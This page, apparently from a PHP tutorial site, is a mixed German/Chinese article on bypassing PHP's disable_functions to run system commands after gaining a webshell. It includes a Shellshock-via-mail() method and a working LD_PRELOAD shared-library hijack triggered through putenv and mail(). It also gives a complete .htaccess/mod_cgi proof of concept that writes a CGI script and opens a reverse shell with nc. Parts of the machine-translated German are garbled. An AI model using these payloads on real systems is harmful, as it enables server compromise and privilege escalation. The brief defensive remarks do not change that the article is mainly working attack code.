Heim > Backend-Entwicklung > PHP-Tutorial > Zusammenfassung der Bypass-Deaktivierungsfunktionen, die PHP-Systembefehle ausführen

Zusammenfassung der Bypass-Deaktivierungsfunktionen, die PHP-Systembefehle ausführen

php中世界最好的语言
Freigeben: 2023-03-25 21:24:02
Original
1839 Leute haben es durchsucht

Dieses Mal bringe ich Ihnen eine Zusammenfassung der Bypass-Deaktivierungsfunktionen, die PHP-Systembefehle ausführen. Was sind die Vorsichtsmaßnahmen für Bypass-Deaktivierungsfunktionen, die PHP-Systembefehle ausführen?

1. Warum Deaktivierungsfunktionen umgehen

Aus Sicherheitsgründen deaktivieren viele Betriebs- und Wartungsmitarbeiter einige „gefährliche“ Funktionen von PHP, z B. eval, exec, system usw., das Schreiben in die Konfigurationsdatei php.ini nennen wir Deaktivierungsfunktionen, insbesondere virtuelle Hosts-Operatoren, um Kunden vollständig auf demselben Server zu isolieren und zu vermeiden Es treten erhebliche Sicherheitsprobleme auf und die Einstellungen von Deaktivierungsfunktionen sind in der Regel strenger.

Angriff und Verteidigung sind gegensätzlich und ergänzen sich. Da es Maßnahmen zur Deaktivierung von Funktionen gibt, werden einige Menschen ihr Bestes geben, um diese Einschränkung zu überwinden. Nur in So können wir solche Angriffe besser verhindern.

Das Ausführen von Systembefehlen ist normalerweise ein notwendiger Vorgang, damit Angreifer nach dem Zugriff auf die Website-Webshell weitere Maßnahmen ergreifen können. Wenn die Systembefehle nicht ausgeführt werden können, ist es für weitere tiefgreifende Angriffe schwierig, fortzufahren Website-Verwaltung Oder deaktivieren Sie Funktionen wie Exec und System. Mit der kontinuierlichen Weiterentwicklung der Technologie entstehen jedoch immer wieder neue Ideen. Die einfache Deaktivierung dieser Funktionen kann Angreifer in manchen Fällen nicht davon abhalten, Systembefehle auszuführen. Wie schützen wir uns vor solchen Angriffen?

2. Willkürliche Befehlsausführung durch Bash-Sicherheitslücke

GNU Bash-Umgebungsvariable-Sicherheitslücke bei der Remote-Befehlsausführung (CVE-2014-6271) ist GNU Eine Sicherheitslücke bei der Remotecodeausführung in Bash. In der Einleitung zu diesem CVE finden Sie die folgende Beschreibung: „In GNU Bash 4.3 und früheren Versionen besteht eine Sicherheitslücke. Diese Sicherheitslücke wird dadurch verursacht, dass das Programm Funktionsdefinitionen innerhalb der Umgebungsvariablen nicht korrekt verarbeitet.“ Werte. Ein Remote-Angreifer kann diese Schwachstelle ausnutzen, um beliebigen Code auszuführen, indem er speziell gestaltete Umgebungsvariablen verwendet. Die folgenden Produkte und Module können ausgenutzt werden: ForceCommand-Funktion in OpenSSH, sshd-, mod_cgi- und mod_cgid-Module in Apache HTTP Server, DHCP-Client usw. Tatsächlich kann PHP diese Sicherheitsanfälligkeit auch für viele Zwecke nutzen und sogar dazu führen, dass ein Remote-Befehl direkt bei 80 ausgeführt wird. Einzelheiten zu dieser Sicherheitslücke finden Sie in den entsprechenden Informationen zu CVE-2014-6271, die hier nicht beschrieben werden.

Werfen wir einen Blick darauf, wo diese Schwachstelle in Bash in PHP ausgenutzt werden kann? Tatsächlich kann es an mehr als einer Stelle verwendet werden. Hier nehmen wir die Mail-Funktion als Beispiel. Dasselbe gilt für andere Orte und Sie können es selbst analysieren.

Die Mail-Funktion von PHP bietet 3 erforderliche Parameter und 2 optionale Parameter. Hier betrachten wir hauptsächlich den letzten Parameter. Die Beschreibung des letzten Parameters im offiziellen PHP-Handbuch:

“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.
Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning' header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “
Nach dem Login kopieren

Vereinfacht ausgedrückt kann dieser Parameter als Konfiguration beim Versenden von E-Mails verwendet werden, indem zusätzliche Befehle hinzugefügt werden. Beispielsweise kann der Parameter -f zum Festlegen des E-Mail-Absenders usw. verwendet werden. Das offizielle Dokument wird auch im Beispiel # demonstriert. 3, insbesondere Sie können sich auf die offizielle Dokumentation beziehen: http://php.net/manual/zh/function.mail.php.

Im Quellcode der Mail-Funktion mail.c finden wir den folgenden Codeausschnitt:

if (extra_cmd != NULL) {
       spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);
    } else {
       sendmail_cmd = sendmail_path;
    }
Nach dem Login kopieren

Wenn der fünfte Parameter (extra_cmd) übergeben wird, verwenden Sie spprintf, um sendmail_path und extra_cmd zu verbinden sendmail_cmd (wobei sendmail_path das Konfigurationselement sendmail_path in php.ini ist) und dann sendmail_cmd zur Ausführung an popen übergeben:

#ifdef PHP_WIN32
    sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC);
#else
    /* Since popen() doesn't indicate if theinternal fork() doesn't work
    *(e.g. the shell can't be executed) we explicitly set it to 0 to be
    *sure we don't catch any older errno value. */
    errno = 0;
    sendmail = popen(sendmail_cmd,"w");
#endif
Nach dem Login kopieren

Wenn der Systemstandard sh bash ist, wird popen den Bash-Prozess starten, wie wir gerade erwähnt haben Die Sicherheitslücke CVE-2014-6271 ermöglicht es uns direkt, die Funktion mail() zu verwenden, um beliebige Befehle auszuführen und die Einschränkung von „disable_functions“ zu umgehen. Aber hier gibt es tatsächlich ein Problem, das heißt, extra_cmd führt vor spprintf eine Sicherheitsprüfung durch. Meine aktuelle PHP-Version ist die neueste 7.2.4 und der Codespeicherort befindet sich in den Zeilen 371-375 von mail.c:

 if (force_extra_parameters) {
       extra_cmd =php_escape_shell_cmd(force_extra_parameters);
    } else if (extra_cmd) {
       extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd));
    }
Nach dem Login kopieren

php_escape_shell_cmd Die Funktion maskiert die Sonderzeichen (einschließlich `|*?~<>^()[]{}$, x0A und xFF. ' usw.), also gibt es nichts Können wir etwas dagegen tun? Wolltuch? Nein, wir können die Funktion putenv verwenden, um eine Umgebungsvariable festzulegen, die die benutzerdefinierte Funktion enthält, und sie dann über die Mail-Funktion auszulösen. Es gibt bereits POCs im Internet.

Die PHP-Funktion, die auch den von Popen abgeleiteten Prozess aufruft, ist imap_mail, oder es gibt möglicherweise andere Funktionen, die wir nicht entdeckt haben. Wenn Sie also diese Art von Angriff verhindern möchten, ist es am besten, mit dem zu beginnen Ursache und Behebung der CVE-2014-6271 Diese Bash-Schwachstelle.

三、LD_PRELOAD:无需bash漏洞

上文说到mail函数利用bash破壳漏洞可以实现突破disable functions的限制执行系统命令,但是像这样的漏洞,一般安全意识稍好一点的运维人员,都会打上补丁了,那么是不是打上补丁之后就一定安全了呢?显然答案是否定的,LD_PRELOAD是Linux系统的下一个有趣的环境变量:

它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,我们只要知道这一件事就足够了,这说明什么?这说明我们几乎可以劫持PHP的大部分函数,还拿上文的mail函数作为例子,上文说过,php的mail函数实际上是调用了系统的sendmail命令,那么我们来看一下sendmail都调用了哪些库函数:

使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数,我们从中随便选取一个库函数geteuid进行测试。

首先我们编写一个自己的动态链接程序,hack.c:

#include<stdlib.h>
#include <stdio.h>    
#include<string.h> 
void payload() {
    system("touch/var/www/html/test");
}  
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
Nach dem Login kopieren

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。这里实际应用时应该注意编译平台和目标尽量相近,以及注意路径问题,避免不必要的麻烦,这里我们仅仅作为测试,不考虑这些问题。

[[email protected]]# gcc -c -fPIC hack.c -o hack
[[email protected]]# gcc -shared hack -o hack.so
Nach dem Login kopieren

我们把hack.so放到WEB目录,然后编写一个PHP文件进行测试:

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("[email protected]","","","","");
?>
Nach dem Login kopieren

我们的/var/www/html/目录下本来只有hack.so和index.php这两个文件,当我们在浏览器中访问index.php页面之后,可以看到目录下又多出了一个test文件,说明我们的系统命令执行成功。

(PS:笔者实际测试时的环境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的环境,测试时遇到一个问题,就是每次刷新访问index.php时,虚拟机的VM进程会疯狂的读写硬盘,几乎独占磁盘的所有活动时间(机械硬盘),导致虚拟机卡顿到连鼠标都无法移动,物理机也因此受到影响明显卡顿,约半小时左右这种情况会突然消失,最终测试结果成功。不知道是什么原因引起这种现象,需要进一步研究,但不在本文讨论范围之内。)

这种绕过行为实施起来很简单,并且目前为止还不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。

其实对于这个问题,早在2008年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: https://bugs.php.net/bug.php?id=46741 ,所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。

四、.htaccess:不止重定向

大家对.htaccess文件一定不陌生,没错,在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

关于mode_cgi,可以参考apache的官方说明: http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。

“任何具有mime类型application/x-httpd-cgi或者被 cgi-script处理器(Apache 1.1或以后版本)处理的文件将被作为CGI脚本对待并由服务器运行, 它的输出将被返回给客户端。通过两种途径使文件成为CGI脚本,或者文件具有已由 AddType指令定义的扩展名,或者文件位于 ScriptAlias目录中。”,这就表示,apache允许WEB服务器与可执行文件进行交互,这就意味着,你可以用C或者python编写WEB应用,听起来我们好像可以做任何apache权限用户能做的事情了,那么到底如何实现呢?

首先需要满足几个条件,第一,必须是apache环境,第二,mod_cgi已经启用(在我的环境下是默认启用的),第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none,第四,必须有权限写.htaccess文件。其实这几个条件还是比较容易满足的,满足了以上的条件,就可以“搞事情”了。

在apache的配置中,有一个非常重要的指令,Options,Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章: http://www.365mini.com/page/apache-options-directive.htm ,当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本。除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddTypeapplication/x-httpd-php .php这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而AddHandler则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。

有了Options和AddHandler,我们就可以随便指定一个特定的文件扩展名以特定的程序来处理,这样思路就很清晰了:先把要执行的程序写入一个特定扩展名的文件里,然后修改.htaccess文件,通过Options指令允许使用mod_cgi模块执行CGI脚本,然后再让我们特定的扩展名以cgi-script进行处理,这样我们甚至可以反弹一个shell出来。

POC如下,附注释:

<?php
$cmd = "nc -c&#39;/bin/bash&#39; 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd"; 
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
  echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET[&#39;checked&#39;]))
{
  @file_put_contents(&#39;.htaccess&#39;,"\nSetEnv HTACCESS on", FILE_APPEND); 
  header(&#39;Location: &#39; . $_SERVER[&#39;PHP_SELF&#39;]. &#39;?checked=true&#39;); //执行环境的检查
}
else
{
  $modcgi = in_array(&#39;mod_cgi&#39;,apache_get_modules()); // 检测mod_cgi是否开启
  $writable = is_writable(&#39;.&#39;); //检测当前目录是否可写
  $htaccess = !empty($_SERVER[&#39;HTACCESS&#39;]);//检测是否启用了.htaccess
    checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
    checkEnabled("Iswritable",$writable,"Yes","No");
    checkEnabled("htaccessworking",$htaccess,"Yes","No");
  if(!($modcgi && $writable&& $htaccess))
  {
    echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
  }
  else
  {
 checkEnabled("Backing 
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in 
.htaccess.bak","Failed!"); //备份一下原有.htaccess
checkEnabled("Write 
.htaccessfile",file_put_contents(&#39;.htaccess&#39;,"Options 
+ExecCGI\nAddHandlercgi-script 
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
    checkEnabled("Write shellfile",file_put_contents(&#39;shell.dizzle&#39;,$shellfile),"Succeeded!","Failed!");//写入文件
    checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
    echo "Executing the script now.Check your listener <img src = &#39;shell.dizzle&#39; style =&#39;display:none;&#39;>"; //调用
  }
}
?>
Nach dem Login kopieren

我们在本地开nc监听4444端口,然后在浏览器中打开这个页面,如果执行成功,将会反弹一个shell到4444端口:

当访问POC的时候,成功反弹了一个shell到本地的4444端口,可以看到执行id命令后的回显。

五、其他方式

除上述方式外,在某些特定情况下,还有很多能够绕过php.ini的禁用函数达到执行系统命令目的的方法,但是由于这些方法受到的限制颇多,很少有满足条件的真实环境,所以鉴于篇幅原因,以下只粗略介绍几个其他绕过方式,并提供相关的详细介绍的文章链接,如果有兴趣详细了解,可以参考互联网上的相关资料。

ImageMagick

ImageMagick是一款使用量很广的图片处理程序,很多厂商包括Discuz、Drupal、Wordpress等常用CMS中也调用了ImageMagick扩展或ImageMagick库进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入,官方在6.9.3-9版本中对漏洞进行了不完全的修复。关于这个漏洞的具体利用和防御方式可以参考:

 http://wooyun.jozxing.cc/static/drops/papers-15589.html 。

pcntl_exec

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

COM 组件

Unter Windows-Umgebung, wenn das Einstellungselement com.allow_dcom =true von php.ini, können Sie Systembefehle über COM-Komponenten ausführen oder sogar den abgesicherten Modus aktivieren. Weitere Informationen finden Sie unter : https://www.exploit-db.com/exploits/4553/.

win32std

win32std ist eine sehr alte PHP-Erweiterung. Die Funktion win_shell_execute kann zum Ausführen von Windows-Systembefehlen verwendet werden /exploits/4218/ .

6. Zusammenfassung

Für Eindringlinge, die nach Erhalt einer Webshell weitere Berechtigungen erhalten möchten oder bei so vielen Daten und Informationen , ist es fast notwendig, Systembefehle auszuführen. Wenn wir einige Fehler in unserer PHP-Anwendung haben und angegriffen werden, ist die Frage, wie wir den Verlust minimieren können, das Hauptproblem. Anhand der in diesem Artikel aufgeführten Methoden ist es nicht schwer zu erkennen, dass die Präventionsarbeit sehr einfach und effektiv ist, solange Sie diese Prinzipien beherrschen. Solange Sie häufig auf Sicherheitstrends achten, können Sie sich vollständig gegen die oben genannte Umgehung verteidigen Maßnahmen.

Ich glaube, dass Sie die Methode beherrschen, nachdem Sie den Fall in diesem Artikel gelesen haben. Weitere spannende Informationen finden Sie in anderen verwandten Artikeln auf der chinesischen PHP-Website!

Empfohlene Lektüre:

Detaillierte Erläuterung des Falles des Erhaltens von Nachrichtendaten mit PHP+Ajax

PHP-Curl-Stapelverarbeitung um eine kontrollierbare Parallelität zu erreichen. Detaillierte Erläuterung asynchroner Betriebsfälle

Das obige ist der detaillierte Inhalt vonZusammenfassung der Bypass-Deaktivierungsfunktionen, die PHP-Systembefehle ausführen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage